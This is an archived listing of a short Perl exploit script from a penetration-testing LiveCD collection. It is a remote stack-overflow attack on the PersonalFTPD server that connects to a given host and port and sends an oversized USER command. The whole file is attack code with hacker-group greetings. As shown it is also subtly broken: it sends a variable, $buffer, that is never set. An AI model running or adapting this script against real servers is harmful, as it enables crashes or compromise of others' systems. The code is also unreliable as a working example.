home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / personalftp / subj.pl < prev   
Perl Script  |  2005-02-12  |  2KB  |  55 lines

  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.  
  4. ##########################################################
  5. #                                                        #
  6. # Remote Stack Overflow sploit for PersonalFTPD          #
  7. # If wanna talk with me find me on irc                   #
  8. # irc.irochka.net #dwc, #global, #phreack                #
  9. # ###################################################### #
  10. # thanx to kabuto, drG4njubas, fnq                       #
  11. # gr33tz to dhg, gipshack, rsteam, blacktigerz           #
  12. # D4rkGr3y, r4ShRaY, DethSpirit, J0k3r, Foster, nik0     #
  13. # ORB, Moby, 3APA3A, euronymous, L0vCh1Y, d1z            #
  14. # ###################################################### #
  15. # Vulnerability links:                                   #
  16. # http://security.nnov.ru/search/document.asp?docid=4309 #
  17. # http://www.securityfocus.com/archive/1/316958          #
  18. #                                                        #
  19. ##########################################################
  20.  
  21. $data = "A";
  22.  
  23. print "[..] ::::::::::::::::::::::::::::::::::::::::::::: [..]\n";
  24. print "[..] Remote Stack Overflow sploit for PersonalFTPD [..]\n";
  25. print "[..]      by subj | dwc :: big 10x to Kabuto       [..]\n";
  26. print "[..]    www.dwcgr0up.com www.dwcgr0up.com/subj/    [..]\n";
  27. print "[..] ::::::::::::::::::::::::::::::::::::::::::::: [..]\n\n";
  28.  
  29. $count_param=@ARGV;
  30. $n="0";
  31. if ($count_param==0) {print "Usage: -h - host, -p - port, -b - buffer
  32. size\n\n"; exit; }
  33. while ($n<$count_param) {
  34. if ($ARGV[$n] eq "-h") {$server=$ARGV[$n+1];}
  35. if ($ARGV[$n] eq "-p") {$port=$ARGV[$n+1];}
  36. if ($ARGV[$n] eq "-b") {$buf=$ARGV[$n+1];}
  37. $n++;
  38. }
  39. &connect;
  40.  
  41. sub connect
  42. {
  43. $sock = IO::Socket::INET->new(PeerAddr => "$server", PeerPort => "$port",
  44. Proto => "tcp")
  45.         || die "Can\'t connect to $server port $port\n";
  46. print $sock "USER $buffer\n";
  47. print "Buffer has beens sended...";
  48.  
  49. }
  50.  
  51.  
  52. close($sock);
  53. exit;
  54.  
  55.